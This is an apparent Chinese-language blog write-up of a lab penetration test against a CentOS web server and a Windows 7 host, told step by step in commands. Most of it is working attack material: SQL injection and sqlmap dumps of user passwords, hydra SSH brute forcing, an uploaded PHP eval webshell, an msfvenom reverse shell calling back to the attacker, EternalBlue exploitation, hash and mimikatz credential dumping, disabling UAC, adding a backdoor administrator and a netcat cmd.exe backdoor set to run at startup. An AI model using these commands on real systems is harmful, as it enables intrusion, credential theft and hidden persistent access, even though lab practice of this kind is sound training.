靶机:192.168.8.2(CentOS);192.168.8.60(win7)
攻击机:192.168.8.128(kali)

前期工作|信息收集

开启两台靶机
192.168.8.2:

192.168.8.60:

判断受害主机ip

由于我们不知道靶机的ip,我们先nmap扫一下

1
nmap -sP 192.168.8.0/24  

扫到如下存活主机ip

经过排查,.60|.2这两台是受害靶机。
打开看一下,
192.168.8.2:

192.168.8.60:

大致:ip为.60这台主机是个人主机?,ip为.2这台主机是web服务器

192.168.8.2

信息收集

端口扫描

按照上述思路,先对192.168.8.2这台主机进行端口扫描

1
nmap -sT -sC -sV -O 192.168.8.2 


熟悉的老朋友:22|80

目录扫描

以防万一,再进行目录扫描

扫出reports目录,看了一下里面的文件,并无利用价值。

再次以防万一,继续换工具扫
发现用dirb、dirsearch、nikto等工具扫还是只有reports这个目录。

web渗透

针对80端口

就是之前的主界面,有三个超链接,前两个是邮箱,点击’here’康康。

简单试了一下,存在sql注入。

1
1' or 1=1#


爆列数

1
1' order by 3#

发现存在2列。

接下来直接sqlmap跑算了。
我是在物理机上跑的,命令如下。
爆库

1
python sqlmap.py -r 1.txt --dbs


爆表

1
python sqlmap.py -r 1.txt -D company --tables


爆列

1
python sqlmap.py -r 1.txt -D company -T users --columns


爆数据

1
python sqlmap.py -r 1.txt -D company -T users -C name,login,password --dump


得到一个账户以及密码,这不就是那台desktop的jess jones的凭据吗,hh😊。
这里再提一嘴,存在目录遍历漏洞

那就可以读取reports.php文件进一步分析了。这里康康杰佬的wp,加深理解

other

针对22端口

直接尝试连接

1
ssh root@192.168.8.2

需要密码,那就

测试是否存在弱口令

先跑一个 22 端口密码爆破的程序

1
hydra -l root -P /usr/share/wordlists/dirb/big.txt -V -t 5 ssh://192.168.8.2:22

参数解析:
-l //要爆破的登陆用户
-P //加载一个字典文件
-V //显示每个爆破过程
-t //线程
爆破到最后可获得密码
area51
(找个好字典即可)

针对445端口

由于445端口开启的是SMB共享服务,那么可以有以下思路:
使用smbmap对smb信息枚举
SMBMap允许用户枚举整个域中的samba共享驱动器。用户可以使用该工具列出共享驱动器、驱动器权限、共享内容、上传/下载功能、文件名自动下载模式匹配,甚至远程执行命令。该工具原本的设计初衷是为了简化在大型网络中搜索潜在敏感数据的过程。

1
smbmap -H 192.168.8.2

发现对共享文件夹reports有读写权限,嘿嘿,这不是一个突破了吗。
尝试连接

1
smbclient //192.168.8.2/reports

密码应该是随便输,我就输入了一个1直接进去了。
查看目录,嗯,和我们刚才访问reports目录是一样的内容。

尝试创建一个目录(没啥用,只是测试是否真的可以写入)


这里成功创建了,我想尝试上传一个后门。

1
<?php @eval($_POST['1'])?>


成功写入!

尝试蚁剑连接

尝试msf连接
生成反向木马并上传

1
2
3
4
5
6
7
8
9
10
11
12
13
msfvenom -p linux/x64/meterpreter/reverse_tcp LHOST=192.168.8.128 LPORT=1111 -f elf >t1.elf
use exploit/multi/handler
set payload linux/x64/meterpreter/reverse_tcp
set LHOST 192.168.8.128
set LPORT 1111
exploit
```   
![](https://pic.imgdb.cn/item/657fbe57c458853aefc14cbc.jpg )
成功拿下webshell。
然后可以提权进入主机权限,再可以提升至root权限,但是查找了很多exp,没有发现可以利用的(待解决)。
`这里其实可以上传一个mimikatz,康康有没有root密码的痕迹`
##### 关于提权,经过大佬指点,我发现真的好搞笑,我竟然把如此简单的东西整这么复杂!
直接

sudo -l

1
2
3
列出当前用户可以执行的所有指令
![](https://pic.imgdb.cn/item/65801ecac458853aefc911f3.jpg )
靠北,all表示所有指令都可以执行,直接

sudo su

1
2
3
4
5
6
7
8
9
10
`sudo su 是一个 Linux 命令,用于切换当前用户的身份为超级用户(root)。sudo su 允许普通用户临时获得 root 用户的权限,以便执行需要特权访问的操作。su 是切换用户的命令,而 sudo 允许普通用户以超级用户的身份执行特定命令。sudo su 结合了这两个功能,允许用户临时切换为超级用户身份执行命令。`
成功提权。
![](https://pic.imgdb.cn/item/65801ed0c458853aefc9216f.jpg )
### 192.168.8.60
现在开始渗透192.168.8.60
由于这个是个人主机,开放端口不知道对我们有没有利用价值,先扫为敬。
#### 信息收集
##### 端口扫描
`ps:扫描时,最好养成一个习惯,那就是把扫描结果保存到文件内`
详细服务扫描

nmap -sT -sC -sV -O 192.168.8.60 -oN nmapscan/detail

1
2
3
4
知道一些端口开放信息以及操作系统信息,这里依旧开启了共享文件夹服务。

![](https://pic.imgdb.cn/item/658028b0c458853aefe76341.jpg )
默认脚本扫描

nmap -script=vuln 192.168.8.60 -oN nmapscan/vuln

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
看得出来,还是利用共享文件夹做文章
![](https://pic.imgdb.cn/item/658028cbc458853aefe7c442.jpg )
这里扫出一个smb-vuln-ms10-061,我们查一下是什么。
https://learn.microsoft.com/zh-cn/security-updates/securitybulletins/2010/ms10-061
![](https://pic.imgdb.cn/item/658028d6c458853aefe7ed00.jpg )
![](https://pic.imgdb.cn/item/658028e4c458853aefe82a36.jpg )
不知道有没有打补丁,我们先尝试利用一下。
`经过尝试,利用不了`
我之前看漏了,这里还存在一个永恒之蓝(ms17-010)。
![](https://pic.imgdb.cn/item/658028cbc458853aefe7c442.jpg )
##### CVE-2017-0143
`漏洞原理`
MS17-010漏洞出现在Windows SMB v1中的内核态函数srv!SrvOs2FeaListToNt在处理FEA(File Extended Attributes)转换时,在大非分页池(Large Non-Paged Kernel Pool)上存在缓冲区溢出。
函数srv!SrvOs2FeaListToNt在将FEA list转换成NTFEA(Windows NT FEA) list前会调用srv!SrvOs2FeaListSizeToNt去计算转换后的FEA lsit的大小,因计算大小错误,而导致缓冲区溢出。
必须:445端口smb服务开启。
再三确认,还是使用nessus扫描一下。
![](https://pic.imgdb.cn/item/658028f2c458853aefe89db3.jpg )
再用msf的auxiliary模块扫描一下

use auxiliary/scanner/smb/smb_ms17_010
set rhosts 192.168.8.60
run

1
2
3
4
![](https://pic.imgdb.cn/item/6580f165c458853aefcfa358.jpg )
证实存在ms17-010,永恒之蓝!!!
`直接开始利用`
查找关于ms17-010的exp(其实poc也会找出来,就是上面的auxiliary模块)

search ms17-010

1
2
![](https://pic.imgdb.cn/item/6580f17cc458853aefcfcbb9.jpg )
使用框住的exp即可

use exploit/windows/smb/ms17_010_eternalblue
set rhosts 192.168.8.60
set lhost 192.168.8.128
#lhost一定要设成kali的ip,不可以使用它默认的127.0.0.1,不然会利用失败,不知道为什么。
run
#或
exploit

1
2
3
4
5
6
7
8
9
10
11
12
![](https://pic.imgdb.cn/item/6580f191c458853aefcff0ea.jpg )
等待即可。
如果成功利用,是以下界面。
![](https://pic.imgdb.cn/item/6580f19ec458853aefd00803.jpg )
WIN!
getuid直接显示system权限,直接拿到最高权限,攻击成功。
# 关于ms17-010(deep)
基于前面我们通过永恒之蓝直接获取了system权限,我们直接开始搞事情。
## 关闭主机防护策略
https://blog.csdn.net/dreamthe/article/details/121375464
### 查看用户、密码
使用hashdump 可以查看用户和密码(虽然是hash值,想要明文的话,康康可不可用hashcat破解一下😟)

hashdump

1
2
3
4
5
6
注:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0为空密码
![](https://pic.imgdb.cn/item/65810d0ec458853aef09da04.jpg )
### 创建防火墙规则
ps:在前期端口扫描的时候,发现主机并没有开启防火墙,那这一步就可以跳过。(bushi
### 关闭UAC
其原理就是通知用户是否对应用程序使用硬盘驱动器和系统文件授权,已达到帮助阻止恶意程序损坏系统的效果

shell
cmd.exe /k %windir%\System32\reg.exe ADD HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System /v EnableLUA /t REG_DWORD /d 0 /f

1
2
![](https://pic.imgdb.cn/item/65810d27c458853aef0a1215.jpg )
### 开启默认共享

cmd.exe /k %windir%\System32\reg.exe ADD HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System /v LocalAccountTokenFilterPolicy /t REG_DWORD /d 1 /f

1
2
3
4
5
6
7
8
9
10
11
![](https://pic.imgdb.cn/item/65810d39c458853aef0a3bc4.jpg )
### 开启psexec
psexec 是 windows 下非常好的一款远程命令行工具。psexec的使用不需要对方主机开机3389端口,只需要对方开启admin$共享(该共享默认开启)。但是,假如目标主机开启了防火墙,psexec也是不能使用的,会提示找不到网络路径。由于psexec是windows提供的工具,所以杀毒软件会将其添加到白名单中。
psexec的基本原理是:通过管道在远程目标机器上创建一个psexec服务,并在本地磁盘中生成一个名为"PSEXESVC"的二进制文件。然后,通过psexec服务运行命令,运行结束后删除服务。
在使用psexec执行远程命令时,会在目标系统中创建一个psexec服务。命令执行后,psexec服务将会被自动删除。由于创建或删除服务时会产生大量的日志,所以会在攻击溯源时通过日志反推攻击流程。
`前提`
对方主机开启了admin$共享,如果关闭了admin$共享,会提示:找不到网络名
如果是工作组环境,则必须使用administrator用户连接,使用普通用户连接会提示:登录失败: 未授予用户在此计算机上的请求登录类型。
如果是域环境,连接普通域主机可以用普通域用户,连接域控需要域管理员。
`这里我利用失败了,具体看:`https://blog.csdn.net/dreamthe/article/details/121375464
## 获取cmd

shell

1
2
![](https://pic.imgdb.cn/item/65825eecc458853aefb88a1a.jpg )
## 文件上传

upload /usr/share/windows-binaries/nc.exe C:\windows

1
2
![](https://pic.imgdb.cn/item/65825f13c458853aefb90203.jpg )
## 文件下载

download C://nc.exe

1
2
3
## 远程登录
### 查看登录凭据
使用mimikatz查看登录凭据,我们可以上传一个mimikatz,但是msf集成了这一功能。

meterpreter > load kiwi //加载kiwi模块
creds_all #列举所有凭据
exit #退出

1
2
3
4
但是...niao玩意没有登陆过?
![](https://pic.imgdb.cn/item/65825f32c458853aefb970d9.jpg )
win7上没有保存密码。
但是

meterpreter > hashdump

1
2
3
却可以爆出jess jones登录凭据的hash。
### 开启3389端口
由于我们之前进行的端口扫描发现远程桌面端口3389是没有开放的,所以我们需要开启(总不能在win7上点击“开启远程“吧🤣)

meterpreter > run post/windows/manage/enable_rdp //启用目标主机的3389端口远程桌面
meterpreter > idletime //查看远程用户的空闲时长,空闲时间长再进行远程登陆,减小被发现的风险。

1
2
3
4
5
6
7
成功开启
![](https://pic.imgdb.cn/item/65825f47c458853aefb99de7.jpg )
nmap再扫一下
![](https://pic.imgdb.cn/item/65825f5fc458853aefb9f1fa.jpg )
然后如果你获得账户密码的话,是可以直接远程的。
但是前期我们并没有获取到凭据,所以要创一个新用户。
### 创建新用户

meterpreter > shell #进入命令行
net user dralinf 123 /add #新建用户dralinf 密码123
net localgroup administrators dralinf /add #将用户dralinf添加到Win7的本地管理员组中,获得管理员权限
net user #查看用户

1
2
3
4
5
6
7
成功添加,并尝试远程连接。
![](https://pic.imgdb.cn/item/65825f6bc458853aefba1c02.jpg )
![](https://pic.imgdb.cn/item/65825f71c458853aefba32d1.jpg )
直接进来了,成功。
## 上传后门
将瑞士军刀上传nc.exe到win7。
msf上传到win7 的c盘windows下

upload /usr/share/windows-binaries/nc.exe C:\windows

1
当目标机开机,程序后台运行,且监听端口为6666,这个端口可以自己设置。

reg setval -k HKLM\software\microsoft\windows\currentversion\run -v lltest_nc -d ‘C:\windows\nc.exe -Ldp 6666 -e cmd.exe’

1
2
![](https://pic.imgdb.cn/item/65825f80c458853aefba63d1.jpg )
新建一个防火墙规则,允许6666端口访问网络。

shell
netsh firewall add portopening TCP 6666 “dralinf” ENABLE ALL

1
2
![](https://pic.imgdb.cn/item/65825f8dc458853aefba84f3.jpg )
在msf中使用reboot命令令主机重启,并且新开一个终端开启监听

meterpreter > reboot

1
2
```
nc -v 192.168.8.60 6666

e,这里我利用失败了,求教😢。
参考学习:https://blog.csdn.net/m0_65712192/article/details/127637917

关于kiwi

msf中的kiwi拓展,也就是mimikatz的一些用法。

1
2
3
#msf中记得先
load kiwi
#再使用下面指令
1
2
3
privilege::debug
lsa_dump_sam
lsa_dump_secrets